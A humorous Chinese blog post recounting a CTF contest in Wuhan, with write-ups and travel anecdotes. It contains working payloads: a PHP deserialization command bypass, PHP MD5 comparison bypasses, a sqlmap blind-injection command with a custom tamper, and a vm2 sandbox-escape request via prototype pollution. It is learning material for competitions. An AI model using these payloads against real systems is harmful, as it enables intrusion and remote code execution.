Featured image of post 除晦杯2023游寄

除晦杯2023游寄

武汉往事

楚慧杯?除晦杯!

👴大约的确很久没写过CTF相关的博客了。因为打CTF就是为了公费旅游,为了彳亍,为了口乞。当然,也可能是彳亍也没彳亍到,鸡毛没挣着,还还扣钱了。

但当👴看到它的名字的时候,👴就知道这是👴一定要打的比赛。因为快过年了,中国人传统上讲要除一除身上的晦气(每日吉祥话1/1)。所以“楚慧杯”这个名字确实有素质,本意是楚地的智慧,表示湖北省赛;谐音也可以表示除去晦气,迎接新的一年。决赛赛场上,果然有工作人员问我们的牌子是不是印错了,👴就是为了这碟醋才包的这盘饺子。

冲出西海岸

  • Aidaip: 这比赛没什么人报,一个学校能报两队,你看这比赛分4个组,每个组都是前9有钱拿,这不是去捡钱?
  • 👴们:去去去

于是👴们组织了一队本科生一队研究生报名。当即立下军令状,本科生打不过研究生,让人唠一辈子。

  • 组委会:决赛再加8支队伍,一共9个奖谢谢。另外一个学校只能进一队哦~
  • Aidaip: 他之前的公告绝对不是这样写的。

这下不得不打内战了。


初赛WP

初赛没啥好说的,传统CTF,都是老黄历了。

Web1

害搁这前端绕过呢,害搁这考www.zip呢。里面是白给反序列化,白给命令执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Flag
{
    public $a;
    public $b;

    public function __construct()
    {
        $this->a = '';
        $this->b = '';
    }

    public function __destruct()
    {
        if (!preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->a) && !preg_match("/flag|system|php|cat|tac|shell|sort/i", $this->b)) {
            system($this->a . ' ' . $this->b);
        } else {
            echo "again?";
        }
    }
}

$f = new Flag();
$f->a = "a=c;b=at;c=/fl;d=ag.txt;\$a\$b \$c\$d";
$f->b = "";

echo serialize($f);

Web2

里面是哈希长度拓展攻击,👴上一次遇见这玩意还是在第一次打带比赛的时候。

但是👴下了仨环境才下到好用的工具。然后后面能上传文件,还说文件名已写入数据库。但是题目名叫upload,你总不能考注入吧。然后👴就去看misc了。

然后还真是,sqlmap一把梭。傻逼题,血亏x1。

知识点总结: PHP:md5()

传统CTF考PHP哈希就这老三样:

  • 弱类型0e绕过:md5($a) == md5($b) && $a != $b
    • 经典查表
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
  • 强类型——数组绕过: md5($a) === md5($b) && $a !== $b
    • ?a[]=a&b[]=b
  • 强类型——MD5碰撞: md5($a) === md5($b) && (string)$a !== (string)$b
  • 长度拓展攻击: 已知md5(a+b)len(a)b,可以求md5(a+b+c)c
  • 碰撞和拓展攻击的时候注意把不可见字符转urlencode

Misc1

对一个文件压缩4097次。写个递归zip解压的脚本,gpt秒了。但是要小心gpt的脚本跑完一看几千个压缩包好几十G,一个里纳米。解出来摩斯密码,没意思。

Misc2

提一内存镜像,volatility一把梭,提一个docx里面是空格和tab,是snow隐写,密码是镜像里面的管理员密码。👴没见过搁这看半天8进制,血亏x2。

Misc3

给一点阵字库文件,密文就是点阵序列。出题人想让我们去字库里查,但是有没有可能可以直接打印。点阵的格式是:

  • '0,0,960,1632,3120,3120,1632,960,1632,3120,3120,3120,1632,960,0,0'

每行16个数,每个数不大于4096,也就是16位2进制,加起来就是16*16的像素点阵,我直接让gpt打印:

1
2
3
4
5
6
7
8
for data in lset: # 将数据拆分成每个数字的列表
    numbers = [int(num) for num in data[0].split(',')]
    for num in numbers: # 将每个数字转换为二进制字符串,并在左侧补零至 16 位
        binary_str = format(num,'016b')
        for i in range(0,16): # 打印每行的像素状态
            pixel = 'X' if binary_str[i] == '1' else '
            print(pixel,end='')
        print()

打出来发现只有16种字符,也就是16进制咯。肉眼写个表匹配即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

lset = [
    ['0,0,960,1632,3120,3120,1632,960,1632,3120,3120,3120,1632,960,0,0\n','8'],
    ['0,0,4080,4080,2096,96,192,192,384,384,768,768,768,768,0,0\n','7'],
    ['0,0,224,96,96,96,2016,3168,3168,3168,3168,3168,2000,0,0,0\n','d'],
    ['0,0,960,1632,3120,48,96,448,96,48,48,3120,1632,960,0,0\n','3'],
    ['0,0,960,1632,3120,3072,3520,3680,3120,3120,3120,3120,1632,960,0,0\n','6'],
    ['0,0,4080,3072,3072,3072,4032,3680,48,48,48,3120,1632,960,0,0\n','5'],
    ['0,64,192,448,960,704,1728,3264,3264,6336,8176,192,192,480,0,0\n','4'],
    ['0,0,992,1584,3096,3096,3096,3096,3096,3096,3096,3096,1584,992,0,0\n','0'],
    ['0,0,128,896,384,384,384,384,384,384,384,384,384,960,0,0\n','1'],
    ['0,0,0,0,0,0,1984,3168,96,2016,3168,3168,2008,0,0,0\n','a'],
    ['0,0,0,0,0,0,992,3120,3072,3072,3072,3120,2016,0,0,0\n','c'],
    ['0,0,960,1632,3120,3120,48,48,96,192,384,784,1552,4080,0,0\n','2'],
    ['0,0,0,0,0,0,992,3120,3120,4080,3072,3120,2016,0,0,0\n','e'],
    ['0,0,3584,1536,1536,1536,2016,1560,1560,1560,1560,1560,3056,0,0,0\n','b'],
    ['0,0,960,1632,3120,3120,3120,3120,1648,1008,48,3120,1632,960,0,0\n','9'],
    ['0,0,240,408,384,384,2016,384,384,384,384,384,960,0,0,0\n','f'],
]
ll = [i[0] for i in lset]
ans = ""
with open('cipher.txt' ,'r' ) as f:
    l = f.readlines()
    for i in l:
        if i in ll:
            ans += lset[ll.index(i)][1]
binary_data = bytes.fromhex(ans)
with open("output_file.zip", "wb") as file:
    file.write(binary_data)

最后是个zip,压缩包密码给hint了,还是个二进制点阵,还是直接打印肉眼看。


初赛战报

“但是我们的球迷,他们不离不弃地陪伴着国足到最后一秒!”(递话筒)

初赛结果是本科生战队1445分撼负研究生战队1448分,👴队压线进决赛,这下让人唠一辈子了。

然后第二天:

  • 本科👴:组委会打电话了,👴们递补进决赛了
  • 👴:¿¿¿ 复活赛打赢了?
  • 牢大:我没意见

坏了,这下真让他给冲出来了。这下凑够人演《武汉往事》了,你们师徒三人(本科生)对阵我们师徒三人(研究生),武汉等你嗷。

武汉往事

Dell武汉了指定有你好果子吃,我就在网安大街等你

于是👴们来到了NCC国家网安基地,华科确实帅,宿舍/酒店确实好,食堂确实贵。

👴一看参赛手册,您猜怎么着,上午打一传统CTF,下午拿上午的web和pwn题打fix,还只有三轮,还是安恒平台。我只能说,不提供check down还是attack down的AWDp都是纯纯的厨生。


决赛WP

流量分析

还以为考misc,结果只多考了流量和逆向。👴配了一晚上环境,鸡毛没用上。👴队友也是,夜里的智慧全部木大。早知道好好睡一觉。

  1. 攻击者使用的管理员账户和密码是什么
    • http.request.method == "POST" && http.request.uri contains "login"
    • 或者从后往前翻,找到执行恶意代码的地方,再往前就有了
  2. 攻击者通过什么文件泄露的密码
    • 拿到密码往前搜呗。ctrl+F,分组字节流-字符串:TPShop6.0
  3. 攻击者通过什么文件上传的后门
    • 拿到密码往后翻,找到一个phtml的木马,再往前翻就有上传的接口
  4. 攻击者将shell反弹至公网IP,反弹shell的IP和端口是什么
    • 统计→IPv4 Statistics→All Adresses根据分组数量排名,前两个是服务器和黑客的客户端,第三多的IP显然就是反弹的了公网IP了。
    • 然后过滤tcp流,可以看到明文的bash流量,对应的端口就是了
  5. 攻击者使用什么文件提权
    • 阅读tcp流,看他执行过什么命令就行了。大不了挨个试毕竟50次机会。
    • sudo /bin/systemctl status apache2.service 可以看到sudoer文件里提供了这条语句的免密执行,既然有sudo那就是systemctl

整套题难度不高,赛场上前面的带佬基本上1小时以内ak的。👴队还是在上面浪费了点时间。导致后面web2脚本没写完,血亏x3。

Web1

简单的文件上传CURD,过滤了php标签,但是👴直接传<? phpinfo();?>就能执行。

fix阶段一看,拿include读文件内容,那没事了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php //list.php
$dir = __DIR__."/uploads/";
$files = array_diff(scandir($dir), array(".", ".."));
$filename = $_GET['filename'];
///// 漏洞代码
// ob_start(); // 启动输出缓冲
// include "$dir$filename"; 
// $fileContent = ob_get_contents();
// ob_end_clean(); // 清空输出缓冲
///// 修复代码
$fileContent = file_get_contents($dir.$filename);

foreach ($files as $file) {
    if($filename !== $file){
        continue;
    }
    $filePath = $dir . $file;
    $fileSize = filesize($filePath); // 文件大小
    $fileType = mime_content_type($filePath); // 文件类型
    $fileDetails[] = array(
        'fileContent'=>'data://'.$fileType.','.base64_encode($fileContent),
        'name' => $file,
        'size' => $fileSize,
        'type' => $fileType,
    );
}
echo json_encode($fileDetails);
?>

👴直接扬掉include,然后第一轮就宕了。👴是傻逼,光知道扬没把功能补全,血亏x4。

Web2

sql盲注,但是fuzz了很长时间才确定。然后盲注脚本就写不完了,属于是之前学的都忘光了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_log(0);
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // 获取用户输入的搜索关键词
    $search_query = strtolower($_POST["search_query"]); /////// 修复大小写绕过
    $blocked_keywords = "/select|union|and|#|order| |by|or/"; // 使用正则表达式定义不允许的关键字模式

    if (preg_match($blocked_keywords, $search_query)) {
        echo "hack!!!";
    }else {
        // 连接到数据库(请根据你的数据库信息修改这些参数)
        $dbhost = '127.0.0.1';
        $dbuser = 'root';
        $dbpass = 'root';
        $conn = mysqli_connect($dbhost, $dbuser, $dbpass, 'ctf');
        if(! $conn )
        {
            die('连接失败: ' . mysqli_error($conn));
        }
        // 执行数据库查询
        $sql = "select * from images where id = '$search_query' LIMIT 0,1";
        
        $result = $conn->query($sql);
        if ($result->num_rows > 0) {
            // 输出查询结果
            while ($row = $result->fetch_assoc()) {
                // echo "<p>".$row["id"]."</p>";
                echo  '<img src="' . $row["image_path"] . '" width="200" height="200"><br>'; // 他搁这故意迷惑👴是吧,好,那么好
            }
        } else {
            echo "null";
        }
        // 关闭数据库连接
        $conn->close();
    }    
}
?>

这代码一眼GPT,过滤随便加点strtolower()和黑名单就行。

知识点总结:SQLmap进阶

做一名合格的高级脚本小子要学会用sqlmap的时候自己写tamper脚本。实际上也很简单,对照现成的改改就是了。

本题的sqlmap命令:

python3 ./sqlmap.py -u "localhost/search.php" -data="search_query=*" --prefix "1' AND" --suffix "AND '1'='1" --technique=B --tamper=space2newline --dbs

  • --prefix, --suffix: 指定注入的前后缀。

默认情况下,sqlmap会使用前面闭合后面注释的手法,which is dumb。比如本题中注入点后方的的LIMIT子句就需要前面的SELECT环境。而本题中所有的注释方法都不好使。

因此,手注的时候首先闭合出一块完整的语法环境,然后交给sqlmap。在此题中闭合的语句是:

select * from images where id = '1' AND {sub_query} AND '1'='1' LIMIT 0,1

  • --technique=B: {sub_query}被夹在and中间,因此作为一个布尔表达式使用布尔盲注,指定参数使sqlmap不要浪费时间进行别的测试。所有注入技术类型如下:
1
2
3
4
5
6
B:布尔型盲注(Boolean-based blind)
E:报错型注入(Error-based)
U:联合查询注入(UNION query-based)
S:堆叠查询注入(Stacked queries)
T:时间型盲注(Time-based blind)
Q:内联查询注入(inline Query)
  • --tamper: 指定自定义过滤脚本。在本题中,空格被过滤且注释绕过/**/,加号绕过+都不好使。于是我们可以把tamper里自带的space2plus.py中的+都改成\n,就变成了space2newline

比赛时远程环境有些空格能用%0a绕过有些不行,👴绞尽脑汁用括号绕过,最终耻辱下播。赛后复现的环境里urlencode都不好使了,最后想到直接全部用换行符\n即可。

参考链接:

Web3

考一nodejs,没源码啥也看不出来。其实直接跟文件名就能读源码,但是上午👴忘了,血亏x5。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const express = require('express');
const router = express.Router();
const {VM, VMScript} = require('vm2');
const vm = new VM();

const backdoor = function () {
    try {
        const script = new VMScript(Object.door);
        return (new VM()).run(script);
    } catch (e) {
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
  
const merge = (a, b) => {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    return merge({}, a);
}

router.get('/', function (req, res, next) {
    res.render('index', { content: 'wwwwwwwwwrong method!!!' });
});

router.post('/', function (req, res, next) {
  try {
      console.log(req.body)
      const body = JSON.parse(JSON.stringify(req.body));
      const copybody = clone(body)
      if (copybody.back) {
          const a = backdoor()
          res.render('index', { content: 'wwwwwwwwwwwwwhat are you doing???' + a})
          return a
      }
      res.render('index', { content: 'wwwwwwwwwwwwwhat are you doing???' })
  }catch(error){
      res.render('index', { content: "i don't think you are right" })
      console.log(error)
  }
})
module.exports = router;

👴直接扬backdoor,然后就宕了,发一公告说不让删backdoor,只能加固。我只能说你这种Fix确实有点素质。

然后修也简单,加个waf防一下node题常见的payload关键字即可:

1
2
3
4
5
6
7
8
9
const backdoor = function () {
    try {
        const script = new VMScript(Object.door);
        if(Object.door.search(/construtcor|exec/)>=0) return;
        return (new VM()).run(script);
    } catch (e) {
        console.log(e);
    }
}

这道题不是很亏,就是有点亏。也不是特别亏,总之还是挺亏的。下午fix的时候离线资料里查到了相关题型,也不是很复杂,👴属于是残疾人复健。

赛后WP:首先用原型链污染拿到Object.door,然后套vm2的沙箱逃逸payload即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /back HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 229

{
    "back": "nmsl",
    "__proto__": {
        "door": "\nlet res = import('./foo.js');\nres.toString.constructor(\"return this\")().process.mainModule.require(\"child_process\").execSync(\"whoami\").toString();\n"
    }
}

参考链接:CVE-2021-23449。漏洞适用版本:vm2@3.9.3

Web4

给一jar包,虽然👴夜里的智慧装了java逆向的环境。但是看了看代码没啥业务逻辑,应该是框架的洞,👴不会,长大后再来学吧。

赛后看,👴猜有可能是这个洞:jeecg-boot/积木报表的Freemarker的SSTI任意代码执行


决赛战报

上午刚结束一分钟,👴队友出一个逆向,属于是典中典,血亏x6。上午排名20多,下午fix亏了300分左右。最后👴队第17名。本科生队更是寄中寄,建议立刻招开批斗大会,狠狠的唠一辈子。

下午结束后主办方问前20的要录屏,👴寻思应该能拿一奖状吧。于是提前开香槟,好歹没空手回去。于是高高兴兴到了颁奖典礼,还看一表演呢。

1 + 3 + 5 + 7 = 16

👴掐指一算,1 + 3 + 5 + 7 = 16 < 17。嘶——这该死的宿命感。

(╯‵□′)╯︵┻━┻

贵🐋的诅咒:

  • 比赛结束之后一分钟出flag
  • 半场开香槟然后差一名拿奖

有捞无堂

释义:有奖金海底捞,没奖金滚回去吃食堂。

其实就算👴们把亏了的题都补上也够呛能进前9。所以也不是很亏,就是有点晦气。

事已至此,先吃饭吧

总之,比完赛了还是要考虑办正事——旅游。这次来武汉可是除晦之行,绝对不能让比赛的晦气留给第二天。

除晦未半而中道崩殂

  • 👴:揍!
  • 队友A:鼻子堵着了很吉尔难受
  • 队友B:👴要去见朋友

坏了,晦起来了。都怪去颁奖典礼的时候没穿外套给冻着了。👴去问隔壁队:

  • 冰糖雪狸:👴队友也烧起来了
  • 👴:?活着

什么嘛,这不是什么也没除掉吗(😎→🕶️🤏😭)

安顿好病人,最终只有👴和冰糖雪狸俩人去市里约会。到了地方一看,你找的这是什么地方??

荟聚

但是武汉确实大城市。👴们终于吃了顿好的,俩人买4杯茶颜悦色还都tm喝完了。

  • 👴:这糖水怎么没味啊?
  • 冰糖雪狸:你就是山猪吃不了细糠
  • 👴:确实

吃饱喝足,去江边看看黄鹤楼吧。于是👴们打车去了江滩。太美丽了长江,还是看看远处的黄鹤楼吧。我楼呢?

司机师傅:愚蠢的外地人

好容易来一趟看不着亏了。于是👴们打车去了黄鹤楼。你吗过个江20块钱,血亏。

司机师傅:感谢大自然的馈赠

最后到了黄鹤楼底下正好关门,寄。

👴突然意识到,这是不是象征着👴队比赛差一名没拿到奖。连起来了。

除晦辩证法

回来的🛫上,👴开始细数这一趟武汉之行的晦气。

我翻开参赛手册一查,这比赛食宿自理,整整齐齐的每页上都写着“楚慧杯”几个字。我横竖睡不着,仔细看了半夜,才从字缝里看出字来,满本都写着一个字是“晦”!

  • 这比赛名字就沾点晦
  • 以为去捡钱实际上鸡毛没赚着,此为第二晦
  • 差一名拿奖状,此为第三晦
  • 比完赛队友躺了俩,此为第四晦
  • 晚上吃饭的地方也沾点晦
  • 去黄鹤楼刚好关门,此为第六晦

贵🐋著名哲学家Aidaip在其著作《亏晦二象性》$^{[1]}$中阐释了晦气的基本原理:

亏了,却想着赚了,终于晦气。——Aidaip

这一原理后经学者整理成如下的形式化描述:

$$ 亏 \xrightarrow{\textit{想赚}} 晦 $$

本科👴真的为了打比赛去的,所以他们亏了,让人唠一辈子。为什么亏了,还是因为菜。菜就多练。

👴为了除晦而彳亍,此时还没有亏。也没有想赚,但还是晦气。 说明目前的主流理论不足以解释新的实验现象。

如果👴能把题都秒了,👴们就不会注意到其他的晦气。为什么👴不能秒了,因为👴太菜了。为什么👴太菜了,因为晦气。 但也正因为晦气,👴才会想除晦。

所以得出结论,越晦气,越晦气。

👴一抬头,大师我悟了,原来hui一直在我们身边。他真hui了吗,如hui。

从守晦开始

给带🔥送上新年祝福:

  • 2024希望带🔥都能远离晦气

参考文献

[1] AiDaip. 亏晦二象性[EB/OL]. 2022. https://aidaip.github.io/life/2022/06/01/%E4%BA%8F%E6%99%A6%E4%BA%8C%E8%B1%A1%E6%80%A7.html

Licensed under CC BY-NC-SA 4.0
Last updated on Dec 24, 2023 00:00 UTC
Built with Hugo
Theme Stack designed by Jimmy